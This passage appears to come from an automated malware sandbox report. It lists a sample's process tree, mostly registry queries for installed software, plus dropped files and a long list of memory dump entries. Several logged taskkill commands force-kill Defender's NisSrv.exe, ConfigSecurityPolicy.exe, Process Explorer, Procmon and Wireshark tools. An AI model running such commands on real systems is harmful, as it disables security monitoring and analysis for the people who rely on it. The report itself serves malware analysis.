C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F2⤵
- Kills process with taskkill
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\.ntusernt.ini
-
C:\Users\Admin\DNVJe\AWHZt.class
-
C:\Users\Admin\DNVJe\Desktop.ini
-
\Users\Admin\AppData\Local\Temp\JzfeBVTKAA4367120992026246077.xml
-
memory/348-124-0x0000000000000000-mapping.dmp
-
memory/580-141-0x0000000000000000-mapping.dmp
-
memory/964-116-0x0000000000000000-mapping.dmp
-
memory/988-108-0x0000000000000000-mapping.dmp
-
memory/992-92-0x0000000000000000-mapping.dmp
-
memory/1040-71-0x0000000000000000-mapping.dmp
-
memory/1124-102-0x0000000000000000-mapping.dmp
-
memory/1240-192-0x0000000000000000-mapping.dmp
-
memory/1372-106-0x0000000000000000-mapping.dmp
-
memory/1416-103-0x0000000000000000-mapping.dmp
-
memory/1476-107-0x0000000000000000-mapping.dmp
-
memory/1476-120-0x0000000000000000-mapping.dmp
-
memory/1528-130-0x0000000000000000-mapping.dmp
-
memory/1528-73-0x0000000000000000-mapping.dmp
-
memory/1528-96-0x000001CAEA510000-0x000001CAEA511000-memory.dmpFilesize
4KB
-
memory/1528-83-0x00007FFB7D070000-0x00007FFB7DA5C000-memory.dmpFilesize
9.9MB
-
memory/1528-90-0x000001CAE8350000-0x000001CAE8351000-memory.dmpFilesize
4KB
-
memory/1540-128-0x0000000000000000-mapping.dmp
-
memory/1568-123-0x0000000000000000-mapping.dmp
-
memory/1588-74-0x0000000000000000-mapping.dmp
-
memory/1676-250-0x0000000000000000-mapping.dmp
-
memory/1676-239-0x0000000000000000-mapping.dmp
-
memory/1688-105-0x0000000000000000-mapping.dmp
-
memory/1724-80-0x0000000000000000-mapping.dmp
-
memory/1828-65-0x0000000000000000-mapping.dmp
-
memory/1844-75-0x0000000000000000-mapping.dmp
-
memory/1844-118-0x0000000000000000-mapping.dmp
-
memory/1844-129-0x0000000000000000-mapping.dmp
-
memory/1844-143-0x0000000000000000-mapping.dmp
-
memory/1848-144-0x0000000000000000-mapping.dmp
-
memory/1848-138-0x0000000000000000-mapping.dmp
-
memory/1848-190-0x0000000000000000-mapping.dmp
-
memory/1848-148-0x0000000000000000-mapping.dmp
-
memory/1892-76-0x0000000000000000-mapping.dmp
-
memory/1948-119-0x0000000000000000-mapping.dmp
-
memory/2076-89-0x0000000000000000-mapping.dmp
-
memory/2100-111-0x0000000000000000-mapping.dmp
-
memory/2104-86-0x0000000000000000-mapping.dmp
-
memory/2104-99-0x0000000000000000-mapping.dmp
-
memory/2320-100-0x0000000000000000-mapping.dmp
-
memory/2348-131-0x0000000000000000-mapping.dmp
-
memory/2348-91-0x0000000000000000-mapping.dmp
-
memory/2348-78-0x0000000000000000-mapping.dmp
-
memory/2352-77-0x0000000000000000-mapping.dmp
-
memory/2356-53-0x0000000000000000-mapping.dmp
-
memory/2384-87-0x0000000000000000-mapping.dmp
-
memory/2520-125-0x0000000000000000-mapping.dmp
-
memory/2668-145-0x0000000000000000-mapping.dmp
-
memory/2688-54-0x0000000000000000-mapping.dmp
-
memory/2692-255-0x0000000000000000-mapping.dmp
-
memory/2692-137-0x0000000000000000-mapping.dmp
-
memory/2808-142-0x0000000000000000-mapping.dmp
-
memory/2808-135-0x0000000000000000-mapping.dmp
-
memory/2812-69-0x0000000000000000-mapping.dmp
-
memory/2936-93-0x0000000000000000-mapping.dmp
-
memory/2960-112-0x0000000000000000-mapping.dmp
-
memory/3036-133-0x0000000000000000-mapping.dmp
-
memory/3036-94-0x0000000000000000-mapping.dmp
-
memory/3080-88-0x0000000000000000-mapping.dmp
-
memory/3088-57-0x0000000000000000-mapping.dmp
-
memory/3104-67-0x0000000000000000-mapping.dmp
-
memory/3140-66-0x0000000000000000-mapping.dmp
-
memory/3552-139-0x0000000000000000-mapping.dmp
-
memory/3564-122-0x0000000000000000-mapping.dmp
-
memory/3640-60-0x0000000000000000-mapping.dmp
-
memory/3648-62-0x0000000000000000-mapping.dmp
-
memory/3732-117-0x0000000000000000-mapping.dmp
-
memory/3732-97-0x0000000000000000-mapping.dmp
-
memory/3736-136-0x0000000000000000-mapping.dmp
-
memory/3740-85-0x0000000000000000-mapping.dmp
-
memory/3768-146-0x0000000000000000-mapping.dmp
-
memory/3820-104-0x0000000000000000-mapping.dmp
-
memory/3828-58-0x0000000000000000-mapping.dmp
-
memory/3836-134-0x0000000000000000-mapping.dmp
-
memory/3840-126-0x0000000000000000-mapping.dmp
-
memory/3844-84-0x0000000000000000-mapping.dmp
-
memory/3892-68-0x0000000000000000-mapping.dmp
-
memory/3896-205-0x0000000000000000-mapping.dmp
-
memory/3896-228-0x0000000000000000-mapping.dmp
-
memory/3912-113-0x0000000000000000-mapping.dmp
-
memory/3924-147-0x0000000000000000-mapping.dmp
-
memory/3932-110-0x0000000000000000-mapping.dmp
-
memory/3948-114-0x0000000000000000-mapping.dmp
-
memory/3952-127-0x0000000000000000-mapping.dmp
-
memory/3964-109-0x0000000000000000-mapping.dmp
-
memory/3964-121-0x0000000000000000-mapping.dmp
-
memory/3980-132-0x0000000000000000-mapping.dmp
-
memory/3980-140-0x0000000000000000-mapping.dmp
-
memory/3992-95-0x0000000000000000-mapping.dmp
-
memory/3996-115-0x0000000000000000-mapping.dmp
-
memory/4036-81-0x0000000000000000-mapping.dmp
-
memory/4044-59-0x0000000000000000-mapping.dmp
-
memory/4052-101-0x0000000000000000-mapping.dmp
-
memory/4052-79-0x0000000000000000-mapping.dmp
-
memory/4056-98-0x0000000000000000-mapping.dmp
-
memory/4060-82-0x0000000000000000-mapping.dmp
-
memory/4068-64-0x0000000000000000-mapping.dmp
-
memory/4108-256-0x0000000000000000-mapping.dmp
-
memory/4112-149-0x0000000000000000-mapping.dmp
-
memory/4128-220-0x0000000000000000-mapping.dmp
-
memory/4156-150-0x0000000000000000-mapping.dmp
-
memory/4156-222-0x0000000000000000-mapping.dmp
-
memory/4156-193-0x0000000000000000-mapping.dmp
-
memory/4160-191-0x0000000000000000-mapping.dmp
-
memory/4172-238-0x0000000000000000-mapping.dmp
-
memory/4176-151-0x0000000000000000-mapping.dmp
-
memory/4188-194-0x0000000000000000-mapping.dmp
-
memory/4192-240-0x0000000000000000-mapping.dmp
-
memory/4192-221-0x0000000000000000-mapping.dmp
-
memory/4196-152-0x0000000000000000-mapping.dmp
-
memory/4232-153-0x0000000000000000-mapping.dmp
-
memory/4236-195-0x0000000000000000-mapping.dmp
-
memory/4252-154-0x0000000000000000-mapping.dmp
-
memory/4272-155-0x0000000000000000-mapping.dmp
-
memory/4280-196-0x0000000000000000-mapping.dmp
-
memory/4308-156-0x0000000000000000-mapping.dmp
-
memory/4320-241-0x0000000000000000-mapping.dmp
-
memory/4320-197-0x0000000000000000-mapping.dmp
-
memory/4324-223-0x0000000000000000-mapping.dmp
-
memory/4328-157-0x0000000000000000-mapping.dmp
-
memory/4332-224-0x0000000000000000-mapping.dmp
-
memory/4344-198-0x0000000000000000-mapping.dmp
-
memory/4348-158-0x0000000000000000-mapping.dmp
-
memory/4384-225-0x0000000000000000-mapping.dmp
-
memory/4384-159-0x0000000000000000-mapping.dmp
-
memory/4404-160-0x0000000000000000-mapping.dmp
-
memory/4412-199-0x0000000000000000-mapping.dmp
-
memory/4416-200-0x0000000000000000-mapping.dmp
-
memory/4424-161-0x0000000000000000-mapping.dmp
-
memory/4460-162-0x0000000000000000-mapping.dmp
-
memory/4464-203-0x0000000000000000-mapping.dmp
-
memory/4464-230-0x0000000000000000-mapping.dmp
-
memory/4468-242-0x0000000000000000-mapping.dmp
-
memory/4476-229-0x0000000000000000-mapping.dmp
-
memory/4480-245-0x0000000000000000-mapping.dmp
-
memory/4480-163-0x0000000000000000-mapping.dmp
-
memory/4488-226-0x0000000000000000-mapping.dmp
-
memory/4492-254-0x0000000000000000-mapping.dmp
-
memory/4500-164-0x0000000000000000-mapping.dmp
-
memory/4508-251-0x0000000000000000-mapping.dmp
-
memory/4516-204-0x0000000000000000-mapping.dmp
-
memory/4536-165-0x0000000000000000-mapping.dmp
-
memory/4556-166-0x0000000000000000-mapping.dmp
-
memory/4576-167-0x0000000000000000-mapping.dmp
-
memory/4612-168-0x0000000000000000-mapping.dmp
-
memory/4616-244-0x0000000000000000-mapping.dmp
-
memory/4624-227-0x0000000000000000-mapping.dmp
-
memory/4632-169-0x0000000000000000-mapping.dmp
-
memory/4636-243-0x0000000000000000-mapping.dmp
-
memory/4648-206-0x0000000000000000-mapping.dmp
-
memory/4652-170-0x0000000000000000-mapping.dmp
-
memory/4668-207-0x0000000000000000-mapping.dmp
-
memory/4688-171-0x0000000000000000-mapping.dmp
-
memory/4708-172-0x0000000000000000-mapping.dmp
-
memory/4720-208-0x0000000000000000-mapping.dmp
-
memory/4728-173-0x0000000000000000-mapping.dmp
-
memory/4736-231-0x0000000000000000-mapping.dmp
-
memory/4764-174-0x0000000000000000-mapping.dmp
-
memory/4768-209-0x0000000000000000-mapping.dmp
-
memory/4768-232-0x0000000000000000-mapping.dmp
-
memory/4768-247-0x0000000000000000-mapping.dmp
-
memory/4776-246-0x0000000000000000-mapping.dmp
-
memory/4784-175-0x0000000000000000-mapping.dmp
-
memory/4800-210-0x0000000000000000-mapping.dmp
-
memory/4804-176-0x0000000000000000-mapping.dmp
-
memory/4840-177-0x0000000000000000-mapping.dmp
-
memory/4840-257-0x0000000000000000-mapping.dmp
-
memory/4852-211-0x0000000000000000-mapping.dmp
-
memory/4860-178-0x0000000000000000-mapping.dmp
-
memory/4872-212-0x0000000000000000-mapping.dmp
-
memory/4876-233-0x0000000000000000-mapping.dmp
-
memory/4880-179-0x0000000000000000-mapping.dmp
-
memory/4892-180-0x0000000000000000-mapping.dmp
-
memory/4892-215-0x0000000000000000-mapping.dmp
-
memory/4892-236-0x0000000000000000-mapping.dmp
-
memory/4908-234-0x0000000000000000-mapping.dmp
-
memory/4920-216-0x0000000000000000-mapping.dmp
-
memory/4924-213-0x0000000000000000-mapping.dmp
-
memory/4936-214-0x0000000000000000-mapping.dmp
-
memory/4976-181-0x0000000000000000-mapping.dmp
-
memory/5000-235-0x0000000000000000-mapping.dmp
-
memory/5008-185-0x0000000000000000-mapping.dmp
-
memory/5012-248-0x0000000000000000-mapping.dmp
-
memory/5024-186-0x0000000000000000-mapping.dmp
-
memory/5060-187-0x0000000000000000-mapping.dmp
-
memory/5060-218-0x0000000000000000-mapping.dmp
-
memory/5068-217-0x0000000000000000-mapping.dmp
-
memory/5076-253-0x0000000000000000-mapping.dmp
-
memory/5080-188-0x0000000000000000-mapping.dmp
-
memory/5080-249-0x0000000000000000-mapping.dmp
-
memory/5088-237-0x0000000000000000-mapping.dmp
-
memory/5096-252-0x0000000000000000-mapping.dmp
-
memory/5100-189-0x0000000000000000-mapping.dmp
-
memory/5108-219-0x0000000000000000-mapping.dmp